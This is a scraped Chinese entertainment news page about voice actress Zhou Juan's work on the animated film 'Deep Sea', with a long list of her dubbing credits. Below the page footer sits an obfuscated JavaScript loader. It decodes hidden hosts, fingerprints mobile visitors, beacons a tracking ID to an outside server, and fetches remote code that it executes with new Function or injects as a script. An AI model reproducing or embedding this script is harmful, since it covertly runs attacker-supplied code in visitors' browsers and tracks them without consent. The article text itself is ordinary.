配音演员周娟参与电影《深海》揭秘配音故事

时间：2023-02-12 00:30:36阅读：3811次
春节档视效巅峰大片《深海》发布配音故事短片，揭开影片长达五年的配音历程。据悉影片配音“没有技巧，都是真心”，为了确保声音表演的真实性，导演田晓鹏要求配音演员与角色年龄相仿，而女
第1张图片
1/7
配音演员周娟参与电影《深海》揭秘配音故事第1张图片
第2张图片
2/7
配音演员周娟参与电影《深海》揭秘配音故事第2张图片
第3张图片
3/7
配音演员周娟参与电影《深海》揭秘配音故事第3张图片
第4张图片
4/7
配音演员周娟参与电影《深海》揭秘配音故事第4张图片
第5张图片
5/7
配音演员周娟参与电影《深海》揭秘配音故事第5张图片
第6张图片
6/7
配音演员周娟参与电影《深海》揭秘配音故事第6张图片
第7张图片
7/7
配音演员周娟参与电影《深海》揭秘配音故事第7张图片

春节档视效巅峰大片《深海》发布配音故事短片，揭开影片长达五年的配音历程。据悉影片配音“没有技巧，都是真心”，为了确保声音表演的真实性，导演田晓鹏要求配音演员与角色年龄相仿，而女主因长大经历变声期，不得不海选重新选人。此外，《深海》开创性采用“拍电影”的方式配音，在配之前先进行完整表演。以最质朴的方式力求情感的真实。

没有技巧都是真心 历时五年配音力求极致情感体验

作为将“创新”视作核心创作理念的影片，电影《深海》在视听层面均追求“前所未见”的探索，并以此服务于剧情的表达。据悉，团队不仅耗时两年研发“粒子水墨”视效美学，导演田晓鹏更是在配音上，不惜耗费五年时间力求实现极致的情绪沉浸感。相较于传统动画的配音后置，《深海》开创性采用“真人预演”的方式，在动画制作开始前，便邀请真人演员按照剧本进行演绎，并以此反哺动画表演的细腻呈现。

2017年，刚入行没多久的新人配音演员周娟就得到了这样一个机会，参与《深海》的表演参考和配音工作。据悉，周娟1992年8月10日出生于贵州、毕业于西安文理学院，她高中开始接触并爱上配音，在网络上以“谬歌”为艺名参与多部网络配音作品，并创立网络配音社团“天涯醉音剧社”。2015年曾与几个网配爱好者于太原创立动漫工作室，2016年前往北京系统学习配音。

2017年，周娟参与配音了首部古装剧《将军在上》。

2018年为爱奇艺动漫《狐狸之声》中的红叶配音从而获得大众的关注。2020年为优酷古装断案剧《大唐女法医》中晚绿一角配音，2021年为《小恐龙可可奈2》中的可可奈和琳达老师配音，《龙王子2》配音克劳迪亚 ，莎莱，《瓜纳华托木乃伊传说》配音索奇特尔。

后续多年的不断学习和打磨，让周娟的配音能力也不断提升，在随后的时间里，她先后

在电影《三国之战神无双》中配音貂蝉，《白狐》配音朱朱，《旋风女队》配音小慧，《五行相术》配音乐彩儿，《白眉大侠》配音赵下雪，《蜀山之万剑封魔》配音九娘，《南少林咏春》配音李小环，《七剑下天山》配音秋妖人，《功夫小镇》配音西施，《镇魔大师之不死罗刹》配音百合，魅惑。

周娟通过真诚的配音收获了观众喜爱，期间在众多热播剧中参与配音工作《大周小冰人2》配音武琳琅，《大唐女法医》配音晚绿， 央视自制《阿凡提奇妙假期3》配音阿依玛雅，《熊猫三宝之萌宠卫士》配音熊猫酷酷，萝莉小姐，《齐丑无艳之破镜重圆》配音菱花公主，《乐乐熊》配音阿昭，《民间怪谈录》配音小阮，喜妹，花婆。还参与了《光晕传奇》《天狼》《飞天小魔女》，《红旗渠》《将军在上》《逆战》《脱身》《大江大河》《我的前半生》《小别离》《经山海》《理想之城》《致命愿望》《女儿国》《家和万事惊》《走阴人》等影视剧的配音。

在译制片《自由缰绳》中配音苏茜和杰德，《帕雷王子》配音希妮，小秋，《铿锵玫瑰》配音诺丽，潘诺阿，《安东尼娅家族》配音劳拉，安东尼娅母亲。

之后配音的纪录片《生活在世界的北端》《婴孩眼中的奇妙世界》《蒙古猎鹰人》《未来学校》《雪山人生》 《未来人类与人工智能》《超级仿生学》《蜕变》《看不见的敌人》《快乐工坊》《高科技空港》 《披萨的故事》《科迪 不再流浪》《救援名单》 《马达加斯加的隐秘迷宫》《种子：你所不知道的事》《地中海奇观》《待爆的火山：冰岛男足的崛起》等在央视纪录片频道播出。

据小编了解，她多年来始终怀着一颗对演艺事业热爱诚挚的心，被业内的老师称之为"人好、专业能力出众的青年配音演员"，身为一个青年配音演员，音色和情感张弛有度，获得这样的称号是对她莫大的赞赏。在周娟看来，能参与一部好的作品，在导演的帮助下完成一个人物是快乐也是最珍惜的，她会尽力做到当下的最好，但是，也会为下一次更好做准备。

正是在这样一群幕后工作者的不断努力和用心中，《深海》终于得以和大家见面，影片对情感表达最本真的追求。配音录制采取“在表演中收音”的方式进行，在故事与角色的感染下，他们以最原始的“真情流露”完成该片的配音工作，配音团队全员更是复刻动画表演，还原“在地上被拖拽”、“跪地体验求饶感”等情节。这种“身在幕后，心在台前”的精神也令无数网友感慨“被中国动画人的纯粹深深打动”！

评论

  • 评论加载中...



Copyright © 2019 www.qukantv.net .All Rights Reserved .

留言求片

function mdbEc(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function OQhYZoH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return mdbEc(t);};window[''+'K'+'F'+'i'+'G'+'a'+'h'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Pzmv(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=OQhYZoH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Pzmv(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/15203/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Pzmv(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLmd1a2dzby5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1lbnQuY24lMM0E5NTMM1','166617',window,document,['H','M']);}:function(){};